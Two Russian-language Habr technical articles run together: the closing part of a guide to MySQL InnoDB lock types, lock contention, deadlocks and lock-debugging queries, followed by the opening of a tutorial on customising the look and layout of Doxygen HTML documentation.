SET SESSION TRANSACTION ISOLATION LEVEL SERIALIZABLE;
START TRANSACTION;
SELECT id, name FROM drivers WHERE id > 5;
COMMIT;
```
Во всех примерах транзакция 2 ожидает снятия блокировки всех записей индекса, которые попадают под условие id > 5.
* SELECT … FOR UPDATE требует SELECT-привилегий и, по крайней мере, одну привилегию из DELETE, LOCK TABLES, UPDATE.
* Фиксация или откат транзакции снимает все блокировки SELECT … FOR SHARE и SELECT … FOR UPDATE.
* SELECT … FOR SHARE является заменой устаревшему выражению LOCK IN SHARE MODE (хотя последнее еще присутствует в MySQL для обратной совместимости).
* SELECT … FOR SHARE и SELECT … FOR UPDATE не блокируют таблицы в подзапросах.
```
# В этом примере строки из таблицы blocked_drivers не блокируются
SELECT id, name
FROM drivers
WHERE id = (SELECT driver_id FROM blocked_drivers)
FOR UPDATE;
# А в этом блокируются
SELECT id, name
FROM drivers
WHERE id = (SELECT driver_id FROM blocked_drivers FOR UPDATE)
FOR UPDATE;
```
Хочу еще раз обратить ваше внимание, что преднамеренные блокировки НЕ являются реальными блокировками строк, а являются лишь блокировками таблиц с УКАЗАНИЕМ того, какой тип блокировки позже потребуется для строки. Конкретные же стратегии блокировок строк мы рассмотрим прямо сейчас.
#### Блокировки записей (Record Locks)
Record lock есть ни что иное, как блокировка записи индекса. Тема индексов выходит за рамки этой статьи, напомню только, что в InnoDB существуют кластерные индексы. Обычно это Primary Key-таблицы, но, если он не определен, то используется unique index. Если нет и его, то InnoDB сам создаст скрытый кластерный индекс. Также в InnoDB есть вторичные (secondary) индексы, которые хранят, помимо всего прочего, значение кластерного индекса. Во время блокировки записи блокируется запись первичного и вторичного индекса.
Добавим индекс по колонке car\_id в нашей таблице Drivers, и теперь запрос
```
SELECT id, name
FROM drivers
WHERE car_id = 5
FOR UPDATE;
```
заблокирует индекс и не позволит другим транзакциям, пытающимся вставить/изменить/удалить записи в индексе, подходящим под условие car\_id = 5.
Команда `SHOW ENGINE INNODB STATUS`, о которой мы поговорим позже, покажет нам две блокировки:
> RECORD LOCKS index drivers\_car\_id\_index of table `drivers` trx id 2653 lock\_mode X
>
> RECORD LOCKS index PRIMARY of table `locks`.`drivers` trx id 2653 lock\_mode X locks rec but not gap
>
>
Первая — блокировка записей во вторичном индексе, вторая — в кластерном.
#### Блокировки промежутка (Gap Locks)
Этот вид строковой блокировки блокирует записи:
A. Между записями индекса:
```
SELECT id, name, car_id
FROM drivers
WHERE car_id BETWEEN 3 AND 7
FOR UPDATE;
```
Если мы попытаемся в другой транзакции выбрать записи, входящие в этот промежуток, нам придется ждать снятия блокировки.
```
SELECT id, name, car_id
FROM drivers
WHERE car_id = 4
FOR UPDATE;
```
```
SHOW ENGINE INNODB STATUS;
```
> TRX HAS BEEN WAITING 3 SEC FOR THIS LOCK TO BE GRANTED:
>
> RECORD LOCKS space id 2 page no 5 n bits 80 index drivers\_car\_id\_index of table `drivers` trx id 3151 lock\_mode X waiting
>
>
B. До записи индекса:
```
SELECT id, name, car_id
FROM drivers
WHERE car_id < 5
FOR UPDATE;
```
Промежуток индексов, подходящих под условие car\_id < 5, будет также заблокирован.
C. После записи индекса:
```
SELECT id, name, car_id
FROM drivers
WHERE car_id > 5
FOR UPDATE;
```
Пример аналогичен предыдущему, только условие меняется на car\_id > 5.
Промежуток, который блокируется при таком виде блокировки, может состоять из нескольких значений индекса, из одного или даже быть пустым.
Блокировки промежутков не конфликтуют между собой, то есть один и тот же промежуток может быть заблокирован двумя разными транзакциями, причем они могут применять к одному промежутку одновременно S- и X-блокировку. Для этого вида блокировки нет разницы между разделяемыми и монолитными, поскольку они решают одну и ту же задачу: предотвращают потенциальные нарушения целостности из-за одновременных вставок.
Если вы понизите уровень изоляции транзакции до READ COMMITED, то блокировки промежутков больше не будут блокировать индексные записи, потому что на таком уровне изоляции допускается существование фантомов. В этом случае блокировки промежутков будут использованы только для проверки ограничений внешнего ключа и проверки дубликатов ключа.
#### Блокировки следующего ключа (Next-Key Locks)
Блокировка следующего ключа — это комбинация блокировки индекса и промежутка. Идея в том, что блокируется не только запись индекса, но и промежуток перед ней.
Предположим, у нас есть три записи в индексе (10, 20, 30), тогда мы имеем четыре интервала возможных значений (-inf...10], (10...20], (20...30], (30…+inf), где круглая скобка означает исключение точки из интервала, а квадратная — включение. Для последнего интервала блокируется промежуток над наибольшим значением в индексе до записи supremum, который является псевдо-записью, имеющим значение больше любого другого в индексе. Например, блокируя ключ 30, мы блокируем и диапазон (20...30], чем добиваемся консистентности.
Когда мы говорим о таком типе блокировки, мы подразумеваем уровень изоляции SERIALIZABLE, который требует отсутствия новых промежутков при повторном сканировании.
#### Блокировки намерений вставок\* (Insert intention locks)
**\*возможно, на русский язык название этого типа блокировки можно перевести более корректно, но беглый поиск в сети ничего не выдал. Если у вас есть хороший перевод названия, напишите, пожалуйста, в комментариях.**
Этот тип блокировки является разновидностью блокировки промежутка, но для операций вставки. Промежуток будет заблокирован до вставки новой записи в индекс, это сигнализирует о намерении вставить запись таким образом, что другие операции вставки в этот промежуток не конфликтуют друг с другом (если, конечно, вы не вставляете запись в одну и ту же позицию).
Для примера давайте добавим пару новых записей в нашу таблицу:
```
INSERT INTO drivers (name, car_id, balance) VALUES (‘new1’, 14, 100);
INSERT INTO drivers (name, car_id, balance) VALUES (‘new2’, 17, 100);
```
Теперь в первой транзакции сделаем запрос:
```
START TRANSACTION;
SELECT * FROM drivers WHERE car_id > 13 FOR UPDATE;
```
Вторая же транзакция пытается вставить новую запись в наш промежуток car\_id > 13:
```
INSERT INTO drivers (name, car_id, balance) VALUES (‘new2’, 15, 100);
```
Команда `SHOW ENGINE INNODB STATUS` покажет нам следующую информацию:
> RECORD LOCKS space id 2 page no 5 n bits 80 index drivers\_car\_id\_index of table `drivers` trx id 3165 lock\_mode X locks **gap before rec insert intention waiting**
>
> Record lock, heap no 10 PHYSICAL RECORD: n\_fields 2; compact format; info bits 0
>
> 0: len 4; hex 80000011; asc ;;
>
> 1: len 4; hex 8000000b; asc ;;
>
>
Однако вторая транзакция не будет блокировать другие намерения вставок в этот промежуток и они могут сосуществовать бесконфликтно.
#### Блокировки AUTO-INC (AUTO-INC Locks)
AUTO-INC является блокировкой на уровне таблицы для инкрементирования первичного ключа во время вставок новых записей в таблицу. Есть три алгоритма увеличения первичного ключа, которые контролируются переменной innodb\_autoinc\_lock\_mode. Значения могут быть 0, 1 или 2 (по-умолчанию в MySQL 8). Подробнее об алгоритмах можно почитать [здесь](https://dev.mysql.com/doc/refman/8.0/en/innodb-auto-increment-handling.html).
Теперь, когда мы разобрали табличные и строчные блокировки, а также их разновидности, мы можем перейти к проблемам, связанным с блокировками.
### Проблемы блокировок и способы решения
Существует три вида проблем с которыми вы можете столкнуться: конфликт за блокировку, долгосрочные блокировки и взаимоблокировки (deadlocks). Я постараюсь привести хоть и тривиальные, но понятные примеры.
#### Конфликт за блокировку
Конфликт возникает тогда, когда множеству сеансов постоянно требуется доступ к одной и той же блокировке. Такую ситуацию еще называют горячей блокировкой (Hot Locks). Каждый сеанс удерживает блокировку небольшое количество времени и снимает её. Это создает ситуацию наподобие выезда с парковки, когда множеству водителей для выезда нужно отсканировать чек об оплате, чтобы шлагбаум поднялся. Причём шлагбаум только один. Проблема незаметна при низком трафике (или при низком параллелизме), но по мере увеличения трафика возникает узкое место.
Конфликты за блокировку ограничивают масштабируемость. По мере увеличения параллелизма пропускная способность системы не увеличивается, а может даже и снижаться. Также такая ситуация приводит к увеличению нагрузки на ЦП.
**Пример 1**.
На сайте требуется записывать все хиты для каждой страницы (даже от одного и того же пользователя), и вы решаете хранить это значение в таблице базы данных. Каждый раз, когда делается запрос к странице, это значение увеличивается на единицу. Пока что ваш сайт не особо популярен и вы не чувствуете проблем, но когда им стали пользоваться миллионы людей, страницы стали загружаться медленно, а то и вообще падать с таймаутом.
**Пример 2**.
Для бухгалтерской отчетности нужно вычислять идентификатор следующего потенциального заказа. Вы храните это значение в отдельной таблице и после каждого заказа вычисляете его с помощью формулы last\_order\_id + 1. По мере роста нагрузки вам приходится слишком часто блокировать как таблицу заказов, так и таблицу, хранящую следующий идентификатор, пока он вычисляется.
**Способы решения**.
Как бы банально это ни звучало, но для решения проблемы горячих блокировок стоит просто не допускать горячих блокировок. Старайтесь не использовать критически важную функциональность совместно с механизмом постоянного блокирования строки/таблицы.
Но если такая ситуация всё же произошла, подумайте, как можно переделать архитектуру приложения, чтобы уменьшить конфликты блокировок. Возможные варианты:
* Используйте более быстрое хранилище, например, Redis.
* Для различных счетчиков, где допустима потеря части данных, может хорошо помочь использование систем очередей, чтобы вести подсчет асинхронно.
* Подумайте над возможностью собирать по несколько инструкций INSERT/UPDATE в одном операторе. Например, для частых обновлений можно добавить промежуточную таблицу, в которую вставляются новые записи с помощью оператора INSERT, а фоновая задача время от времени агрегирует эти данные и делает нечастый UPDATE основной таблицы.
* Не держите другие данные в таблице, которую вы используете для частых блокировок. В идеале, у вас должна быть одна строка в одной таблице.
* Уменьшайте время удержания такой блокировки с помощью оптимизации алгоритма программного кода или обнаружения активности, которая без надобности защищена блокировкой.
* Вместо табличной блокировки используйте InnoDB и детализированную блокировку на уровне строк.
В целом, проблемы с конфликтом блокировок имеют относительно небольшое влияние. С ростом мощности аппаратного обеспечения они могут оставаться незаметными очень долго и проявлять себя, когда ситуация стала совсем плачевной.
#### Долгосрочные блокировки
Долгосрочные блокировки похожи на конфликт блокировок, поскольку подразумевают частое блокирование базы данных множеством сеансов. Отличие заключается в том, что каждый сеанс не снимает блокировку немедленно, а удерживает в течение длительного времени, на протяжении которого все остальные сеансы будут заблокированы.
Проблемы долгосрочных блокировок могут быть временными и очень зависят от определенных условий и случайных действий. Они с очень большой вероятностью приведут к проблемам с производительностью из-за сочетания разрушительного воздействия и трудности воспроизведения.
**Пример**.
Рассмотрим тот же пример с заказами, описанный выше. Добавим к нему условие, что мы имеем запускаемую по расписанию задачу, которая берет следующий ID заказа и составляет большой и сложный отчет в течение 15 минут. Никакие другие заказы не могут быть обработаны, пока отчет не будет составлен. Ситуацию усугубляет тот факт, что пользователи не могут оформить заказ и думают, что система вышла из строя. Они пытаются создать новый заказ, отправляя новые запросы в базу данных. В результате пользователи исчерпывают все потоки соединения с базой данных, из-за чего система не может отвечать на запросы, даже не связанные с заказами.
**Способы решения**.
Долгосрочные блокировки, как правило, являются следствием неправильно выбранных индексов или слишком долгой транзакции, включающей медленные запросы, взаимодействие с программой или, что еще хуже, с пользователем (который ушел в магазин за бутылочкой пива). Варианты решения:
* Исключите взаимодействие с пользователем во время блокировки.
* Понизьте уровень изоляции транзакции.
* Проверьте, что у вас нет «спящих» потоков: это подключения к базе, которые ничего не делают. Например, PHP-скрипт, подключился, начал выполнять транзакцию, а затем продолжил работу, и в этот момент ваш поток MySQL находится в состоянии SLEEP. Еще хуже, если ваш код инициализирует постоянное соединение с базой, которое будет активно даже после завершения работы скрипта.
* Проверьте, что запросы, удерживающие блокировку, используют оптимальные индексы. Для этого подойдет команда EXPLAIN, о которой я рассказывал в [другой своей статье](https://habr.com/ru/company/citymobil/blog/545004/).
* Попробуйте использовать несколько коротких транзакций вместо одной долгой.
* Убедитесь, что вы закрываете все соединения, а также что все транзакции, начатые со START TRANSACTION, завершаются COMMIT/ROLLBACK.
Долгосрочные блокировки, как правило, представляют более значительную угрозу, чем конфликт блокировок. Они могут остановить работу большой части системы или даже всю её целиком. Блокировки, задействованные в этом сценарии, могут быть недостаточно «горячими», но если они становятся еще и «горячими», катастрофы не избежать.
#### Взаимоблокировки (Deadlocks)
Взаимоблокировка — это ситуация, когда разные транзакции не могут выполниться, потому что удерживают блокировки, необходимые для работы остальных. Поскольку все транзакции ждут, когда ресурсы станут доступны, ни одна из них не снимает удерживаемые блокировки.
**Пример 1**.
Самый простой случай взаимоблокировки:
| | | |
| --- | --- | --- |
| Время | Сессия 1 | Сессия 2 |
| 1 | Начало транзакции. | |
| 2 | | Начало транзакции. |
| 3 | Обновляет строку с id =10 в таблице А. | |
| 4 | | Обновляет строку с id = 15 в таблице B. |
| 5 | Попытка обновить строку с id = 15 в таблице B. | |
| | Сессия 1 заблокирована сессией 2. | |
| 6 | | Попытка обновить строку с id = 10 в таблице A. |
| | Сессия 1 заблокирована сессией 2. | Сессия 2 заблокирована сессией 1. |
| | Deadlock. | Deadlock. |
**Пример 2**.
Взаимоблокировка из трех транзакций:
| | | | |
| --- | --- | --- | --- |
| Время | Сессия 1 | Сессия 2 | Сессия 3 |
| 1 | Начало транзакции. | | |
| 2 | | Начало транзакции. | |
| 3 | | | Начало транзакции. |
| 4 | Обновляет строку с id =10 в таблице А. | | |
| 5 | | Обновляет строку с id = 15 в таблице B. | |
| 6 | | | Обновляет строку с id = 20 в таблице C. |
| 7 | Попытка обновить строку с id = 20 в таблице C. | | |
| | Сессия 1 заблокирована сессией 3. | | |
| 8 | | Попытка обновить строку с id = 10 в таблице A. | |
| | | Сессия 2 заблокирована сессией 1. | |
| 9 | | | Попытка обновить строку с id = 15 в таблице B. |
| | | | Сессия 3 заблокирована сессией 2. |
| | Сессия 1 заблокирована сессией 3. | Сессия 2 заблокирована сессией 1. | Сессия 3 заблокирована сессией 2. |
| | Deadlock. | Deadlock. | Deadlock. |
**Способы решения**.
Хорошей новостью является то, что InnoDB умеет самостоятельно обнаруживать взаимоблокировки и выбирает транзакцию-«жертву», которую откатит. Учитывайте этот момент в своих приложениях и будьте готовы выполнить транзакцию еще раз, если она откатывается из-за взаимоблокировки. Но если это стало частой проблемой, то вот список того, что стоит предпринять:
* Определите причину последней взаимоблокировки с помощью SHOW ENGINE INNODB STATUS.
* Активируйте флаг отладки взаимоблокировок innodb\_print\_all\_deadlocks. Когда он включен, MySQL будет записывать информацию обо всех взаимоблокировках в журнал ошибок. Не забудьте отключить флаг после отладки, чтобы не создавать лишних накладных расходов.
* Не забывайте повторно выполнять транзакцию, которая была выбрана «жертвой».
* Минимизируйте свои транзакции, сделайте их максимально короткими. Избегайте взаимодействия с пользователями и обращений к внешним сервисам во время транзакции.
* Для транзакций SELECT … FOR UPDATE/SHARED попробуйте понизить уровень изоляции.
* Всегда выполняйте одни и те же наборы операций в одном и том же порядке.
* Подберите оптимальные индексы для своих таблиц, чтобы запросы сканировали как можно меньше индексных записей.
* Убедитесь, нужны ли вам вообще блокировки в запросах, которые блокируют строки. Часто бывает так, что для обычных операций SELECT достаточно выбрать данные из старого снимка состояния без использования FOR UPDATE/SHARE.
* Старайтесь избегать блокировок таблиц с помощью LOCK TABLES, но если совсем ничего не помогает, то LOCK TABLES становится одним из вариантов сериализации транзакций. Только не забудьте установить флаг autocommit в значение 0 по причине, о которой я писал выше. Цена, которую вам придется заплатить в данном случае, — это уменьшение скорости отклика базы данных.
* Еще одним способом сериализации транзакций является создание искусственного семафора в виде таблицы с одной единственной строкой. Каждая транзакция должна будет получить блокировку этой строки перед выполнением своих основных функций.
В целом, взаимоблокировки не представляют большую опасность, и это вполне нормальная ситуация для MySQL, если только они не настолько частые, что транзакции не могут выполняться вообще.
Как видите, множество советов по решению всех видов проблем, связанных с блокировками, повторяются. Всё дело в том, что блокировки являются проблемами не базы данных, а организации вашего приложения.
Стоит добавить, что если ваши транзакции начали периодически отваливаться с ошибкой “Lock wait timeout exceeded”, значит ваше приложение столкнулось с проблемой конфликта за блокировку и/или долгосрочными блокировками. В этом случае может помочь увеличение времени ожидания снятия блокировки транзакцией с помощью изменения переменной innodb\_lock\_wait\_timeout (по умолчанию 50 секунд).
```
SET innodb_lock_wait_timeout = {количество_секунд}
```
Но это попытка устранить следствие, а не причину. Поиск же конкретных проблемных, блокирующих запросов рассмотрим ниже.
### Отладка блокировок
Для определения, какие запросы сейчас заблокированы и почему, можно использовать следующий запрос:
```
SELECT
r.trx_id waiting_trx_id,
r.trx_mysql_thread_id waiting_thread,
r.trx_query waiting_query,
b.trx_id blocking_trx_id,
b.trx_mysql_thread_id blocking_thread,
b.trx_query blocking_query
FROM performance_schema.data_lock_waits w
INNER JOIN information_schema.innodb_trx b
ON b.trx_id = w.blocking_engine_transaction_id
INNER JOIN information_schema.innodb_trx r
ON r.trx_id = w.requesting_engine_transaction_id;
```
В качестве примера я специально выполню долгий блокирующий запрос, а затем сделаю два запроса к этой таблице, которые будут ожидать снятия блокировки:
```
# блокирующий запрос
SELECT id, SLEEP(30) FROM drivers FOR UPDATE;
# эти два запроса ждут снятия блокировки
SELECT name FROM drivers FOR UPDATE;
SELECT car_id FROM drivers FOR UPDATE;
```
Результат отладочного запроса будет следующий
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| waiting\_trx\_id | waiting\_thread | waiting\_query | blocking\_trx\_id | blocking\_thread | blocking\_query |
| 3199 | 49 | select car\_id from drivers for update | 3197 | 47 | select id, SLEEP(30) FROM drivers FOR UPDATE; |
| 3198 | 48 | select name from drivers for update | 3197 | 47 | select id, SLEEP(30) FROM drivers FOR UPDATE; |
где:
waiting\_trx\_id — ID ожидающей транзакции;
waiting\_thread — ID ожидающего потока MySQL;
waiting\_query — запрос, ожидающий снятия блокировки;
blocking\_trx\_id — ID блокирующей транзакции;
blocking\_thread — ID блокирующего потока MySQL;
blocking\_query — блокирующий запрос.
Если всё плохо и вам нужно срочно прибить блокирующий запрос, то можно воспользоваться командой `KILL {blocking_thread}`. Для данного примера это будет выглядеть так:
```
KILL 47;
```
Чуть более подробный, но примерно такой же результат можно увидеть просто выполнив команду:
```
SELECT * FROM sys.innodb_lock_waits;
```
Например:
```
# блокирующий запрос
START TRANSACTION;
SELECT * FROM drivers FOR UPDATE;
# этот запрос ждет снятия блокировки
SELECT name FROM drivers FOR UPDATE;
# отладочный запрос
SELECT * FROM sys.innodb_lock_waits;
```
> \*\*\*\*\*\* 1.row \*\*\*\*\*\*
>
> -- wait\_started: 2021-12-03 09:50:18
>
> -- wait\_age: 00:00:34
>
> -- wait\_age\_secs: 34
>
> -- locked\_table: ‘locks’.drivers
>
> -- locked\_table\_schema: locks
>
> -- locked\_table\_name: drivers
>
> -- locked\_table\_partition: NULL
>
> -- locked\_table\_subpartition: NULL
>
> -- locked\_index: PRIMARY
>
> -- locked\_type: RECORD
>
> -- waiting\_trx\_id: 3253
>
> -- waiting\_trx\_started: 2021-12-03 09:50:18
>
> -- waiting\_trx\_age: 00:00:34
>
> -- waiting\_trx\_rows\_locked: 1
>
> -- waiting\_trx\_rows\_modified: 0
>
> -- waiting\_pid: 53
>
> -- waiting\_query: SELECT name FROM drivers FOR UPDATE;
>
> -- waiting\_lock\_id: 140500149771672:2:4:25:140500057267936
>
> -- waiting\_lock\_mode: X
>
> -- blocking\_trx\_id: 3252
>
> -- blocking\_pid: 52
>
> -- blocking\_query: NULL
>
> -- blocking\_lock\_id: 140500149772528:2:4:25:140500057274160
>
> -- blocking\_lock\_mode: X
>
> -- blocking\_trx\_started: 2021-12-03 09:50:16
>
> -- blocking\_trx\_age: 00:00:36
>
> -- blocking\_trx\_rows\_locked: 11
>
> -- blocking\_trx\_rows\_modified: 0
>
> -- sql\_kill\_blocking\_query: KILL QUERY 52
>
> -- sql\_kill\_blocking\_connection: KILL 52
>
>
Однако в ряде случаев в колонке blocking\_query будет значение NULL. Такое происходит, когда сеанс переходит в неактивное состояние, то есть не делает ничего. Для примера я начну транзакцию и не буду выполнять COMMIT:
```
# блокирующий запрос
START TRANSACTION;
SELECT * FROM drivers FOR UPDATE;
# эти два запроса ждут снятия блокировки
SELECT name FROM drivers FOR UPDATE;
SELECT car_id FROM drivers FOR UPDATE;
```
Результат отладочного запроса
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| waiting\_trx\_id | waiting\_thread | waiting\_query | blocking\_trx\_id | blocking\_thread | blocking\_query |
| 3232 | 49 | SELECT car\_id FROM drivers FOR UPDATE | 3230 | 50 | null |
| 3232 | 49 | SELECT car\_id FROM drivers FOR UPDATE | 3231 | 48 | SELECT name FROM drivers FOR UPDATE |
| 3231 | 48 | SELECT name FROM drivers FOR UPDATE | 3230 | 50 | null |
Запрос `SELECT car_id FROM drivers FOR UPDATE;` блокирует сразу два запроса. Один из них мы видим, но второй в значении null. То же самое мы видим в колонке blocking\_query и для запроса `SELECT name FROM drivers FOR UPDATE`;. Это происходит потому, что блокирующий запрос после начала транзакции и выборки SELECT не делает ничего. Чтобы узнать, что это за блокирующий запрос, стоит проделать следующее:
С помощью нужного blocking\_thread получить идентификатор процесса блокирующей транзакции:
```
SELECT blocking_pid
FROM sys.innodb_lock_waits
WHERE blocking_trx_id = {blocking_thread}
```
С помощью полученного blocking\_pid получить идентификатор потока:
```
SELECT THREAD_ID
FROM performance_schema.threads
WHERE PROCESSLIST_ID = {blocking_pid}
```
С помощью полученного THREAD\_ID получить текст запроса:
```
SELECT THREAD_ID, SQL_TEXT
FROM performance_schema.events_statements_current
WHERE THREAD_ID = {THREAD_ID}
```
Если запрос не предоставил достаточную информацию и в SQL\_TEXT вы получили что-то типа `SELECT @@session.transaction_isolation`, то можно запросить историю, чтобы посмотреть последние 10 команд:
```
SELECT THREAD_ID, SQL_TEXT
FROM performance_schema.events_statements_history
WHERE THREAD_ID = {THREAD_ID}
ORDER BY EVENT_ID;
```
Один запрос для всего вышеперечисленного:
```
SELECT THREAD_ID, SQL_TEXT FROM performance_schema.events_statements_history
WHERE THREAD_ID = (
SELECT THREAD_ID
FROM performance_schema.threads
WHERE PROCESSLIST_ID = (
SELECT blocking_pid
FROM sys.innodb_lock_waits
WHERE blocking_trx_id = {blocking_thread} LIMIT 1
)
)
ORDER BY EVENT_ID;
```
| | |
| --- | --- |
| THREAD\_ID | SQL\_TEXT |
| 89 | SELECT @@session.transaction\_read\_only |
| 89 | SHOW WARNINGS |
| 89 | select database() |
| 89 | SHOW WARNINGS |
| 89 | SHOW WARNINGS |
| 89 | SET net\_write\_timeout=600 |
| 89 | SET SQL\_SELECT\_LIMIT=501 |
| 89 | **SELECT \* FROM drivers FOR UPDATE** |
| 89 | SHOW WARNINGS |
| 89 | SELECT @@session.transaction\_isolation |
Еще один способ узнать о блокировках в системе — это воспользоваться командой SHOW ENGINE INNODB STATUS;. Но предварительно нужно установить переменную `innodb_status_output_locks` в значение ON.
```
SET GLOBAL innodb_status_output_locks = ON;
SHOW ENGINE INNODB STATUS;
```
Не забудьте отключить эту переменную после отладки, так как InnoDB создает еще один поток для записи это информации.
После выполнения команды можно прочитать информацию о блокировках в разделе TRANSACTIONS. Стандартный вывод включает список активной и ожидающих транзакций и информацию о заблокированных таблицах и строках, а также о режиме блокировки.
### Заключение
Блокировки являются обычным явлением при работе с базами данных. Не стоит воспринимать их как что-то плохое. Напротив, блокировки — это необходимый компромисс для обеспечения целостности ваших данных в системах с конкурентным доступом.
Если вы испытываете проблемы с блокировками, то знайте, что проблема кроется в архитектуре вашего приложения. Из коробки базы данных не блокируют всё подряд. По-умолчанию они быстры и функциональны. Надеюсь, что информации в этой статье будет достаточно, чтобы вы смогли быстро локализовать причину блокировок и устранить её.
### Литература и источники
1. High Performance MySQL (by [Baron Schwartz](https://www.goodreads.com/author/show/1353812.Baron_Schwartz), [Peter Zaitsev](https://www.goodreads.com/author/show/3963638.Peter_Zaitsev), [Vadim Tkachenko](https://www.goodreads.com/author/show/1353808.Vadim_Tkachenko))
2. <https://dev.mysql.com/>
3. <https://stackoverflow.com/>
4. <https://www.percona.com/>
5. <https://www.methodsandtools.com/archive/archive.php?id=83> | https://habr.com/ru/post/595741/ | null | ru | null |
# Оформление документации в Doxygen
Данная статья входит в получившийся цикл статей о системе документирования Doxygen:
1. [Документируем код эффективно при помощи Doxygen](https://habrahabr.ru/post/252101/)
2. [Оформление документации в Doxygen](https://habrahabr.ru/post/252443/)
3. [Построение диаграмм и графов в Doxygen](https://habrahabr.ru/post/253223/)
Это вторая статья из упомянутого цикла, последовавшая за [вводной статьёй, посвященной системе документации Doxygen](http://habrahabr.ru/post/252101/) (если вы не знакомы с данной системой, то советую обратить внимание на указанную статью и познакомиться с ней хотя бы в общих чертах). В комментариях к ней был поднят важный вопрос об оформлении документации в Doxygen, и этот вопрос актуален, поскольку зачастую используется стандартное оформление, которое хоть и практичное, но достаточно невзрачное.
В данной статье я отвечу на этот вопрос. Для этого мы рассмотрим общие принципы оформления документации Doxygen, познакомимся с ними, и посмотрим на примерах, чего можно добиться, основываясь на них.
#### **Настройка внешнего вида документации**
Сначала рассмотрим то, какой функционал предоставляет Doxygen для настройки оформления (при этом следует обратить внимание на то, что в основном описываемые далее настройки относятся именно к генерируемому HTML документу). Вообще, этот раздел подробно описан в [официальной документации](http://www.stack.nl/~dimitri/doxygen/manual/customize.html), отмечу лишь основные детали в нём и разбавлю его для ясности примерами.
##### **Настройки оформления**
###### **Иконка для проекта**
Самое простое, что можно настроить в оформлении – это иконку проекта. Для этого необходимо указать в файле настроек в опции *PROJECT\_LOGO* путь к иконке:
```
PROJECT_LOGO = <путь_к_иконке>
```
###### **Цветовая схема**
Для того, чтобы просто изменить цветовую схему HTML страницы используются следующие опции в файле настроек:
| | |
| --- | --- |
| **Опция** | Значение |
| HTML\_COLORSTYLE\_HUE | Указывает тон цветовой схемы |
| HTML\_COLORSTYLE\_SAT | Указывает яркость цветовой схемы |
| HTML\_COLORSTYLE\_GAMMA | Указывает гамму цветовой схемы |
Ниже представлены примеры одной и той же документации с различными настройками цветовой схемы:
###### **Средства навигации**
Основными средствами навигации по документации в Doxygen являются: меню с вкладками и иерархическое дерево. Они представлены ниже на скриншоте.
Для настройки отображения этих элементов используются следующие опции в файле настроек:
| | |
| --- | --- |
| **Опция** | Значение |
| DISABLE\_INDEX | Отключает отображение меню с вкладками |
| GENERATE\_TREEVIEW | Показывает отображать или нет иерархическое дерево |
###### **Динамическое содержимое документации**
Для того, чтобы сделать HTML документацию более интерактивной, Doxygen предоставляет ряд опций, которые по умолчанию отключены:
| | |
| --- | --- |
| **Опция** | Значение |
| HTML\_DYNAMIC\_SECTIONS | В случае установки этой опции, Doxygen будет сворачивать определенные элементы HTML документации (например, графы), которые пользователь по желанию может впоследствии раскрыть |
| INTERACTIVE\_SVG | В случае, если включено построение графов при помощи Graphviz и в качестве формата построения графов указан SVG, Doxygen будет создавать интерактивные SVG файлы, которые можно увеличивать и перемещать |
###### **Заголовок, футер и каскадная таблица стилей**
Для настройки шрифтов, цветов, отступов и других деталей оформления HTML документации, можно изменить стандартную каскадную таблицу стилей. Кроме того, Doxygen позволяет изменять заголовок и футер для каждой HTML страницы, которую он генерирует, например, для того, чтобы генерируемая документация совпадала с внешним стилем остальной части вашего сайта.
Для того, чтобы получить соответствующие файлы для последующего редактирования, выполните команду:
```
doxygen -w html header.html footer.html customdoxygen.css
```
Она создаст три файла:
1. *header.html* представляющий собой HTML фрагмент, который Doxygen использует для начала HTML страницы. Обратите внимание, что данный фрагмент содержит пару специальных команд, начинающихся со знака доллара: они будут автоматически заменены при создании документации;
2. *footer.html* представляющий собой HTML фрагмент, который Doxygen использует для завершения HTML страницы. Здесь также могут встречаться специальные команды, о которых было упомянуто ранее;
3. *customdoxygen.css* представляющий собой используемую по умолчанию каскадную таблицу стилей. Рекомендуется только посмотреть на этой файл и изменить определенные настройки путём размещения их в отдельном файле.
После того, как вы отредактируете эти файлы, необходимо указать Doxygen, чтобы он их использовал при построении документации, вместо стандартных файлов. Делается это при помощи следующих команд:
| | |
| --- | --- |
| **Опция** | Значение |
| HTML\_HEADER | Указывает путь к пользовательскому HTML файлу, описывающему заголовок (в примере выше это путь к header.html) |
| HTML\_FOOTER | Указывает путь к пользовательскому HTML файлу, описывающему футер(в примере выше это путь к footer.html) |
| HTML\_EXTRA\_STYLESHEET | Указывает путь к пользовательской каскадной таблицы стилей. Обратите внимание на то, что она будет использоваться наряду со стандартной таблицей стилей и потому в ней достаточно описывать только то, что вы изменили |
###### **Пример изменения оформления**
Далее мы рассмотрим красивые примеры различных стилей и оформительский решений, но пока просто покажем для уверенности в собственных силах, как можно изменять стиль.
Давайте сделаем для примера заголовок документации жирным и изменим его цвета, для этого создадим таблицу стилей style.css со следующим содержимым (projectname – это id блока с именем проекта, убедится в этом можно открыв тот же файл header.html):
```
#projectname {
color: #3B5588;
font-weight: bold;
}
```
После этого в файле настроек в опции *HTML\_EXTRA\_STYLESHEET* укажем путь к созданному файлу и создадим документацию. Результат будет иметь следующий вид (для сравнения показывается и предыдущий вариант):
Точно так же можно изменить стиль всего остального, так что дерзайте!
#### **Настройка структуры документации**
Ранее мы рассматривали то, как можно изменить внешний вид документации, однако его изменение никак не повлияет на структуру документации, для её изменения существует другой подход.
Для этого используется специальный файл, описывающий структуру документа при помощи языка разметки XML. Doxygen затем использует его для определения какую информацию необходимо отображать, в каком порядке, а также частично о том, как её отображать.
Аналогично, как и при изменении оформлении документации, для начала необходимо получить используемый по умолчанию такой файл. Для этого используется команда *-l* (от layout):
```
doxygen -l [имя_файла]
```
Верхний уровень данного файла имеет следующий вид:
```
...
...
...
...
...
...
```
Подробности работы с этой структурой описаны в [соответствующем разделе](http://www.stack.nl/~dimitri/doxygen/manual/customize.html#layout) официальной документации.
Отметим лишь то, что после того, как вы создали свой файл, необходимо изменить в файле настроек опцию *LAYOUT\_FILE*, указав в ней путь к данному файлу:
```
LAYOUT_FILE = <путь_к_файлу>
```
##### **Пример изменения структуры**
Опять же для того, чтобы получить уверенность в своих возможностях, сделаем небольшое изменение в данной структуре.
В первую очередь сгенерируем файл со структурой (как было сделано выше), а затем добавим новую вкладку в меню. Вкладки добавляются при помощи тега *tab*, причем в данном случае при добавлении новой вкладки необходимо указать ей тип *user*.
Далее, поскольку мы хотим добавить вкладку в меню, нам необходимо найти соответствующий раздел (для меню это *navindex*) и добавить в него нашу вкладку:
```
...
```
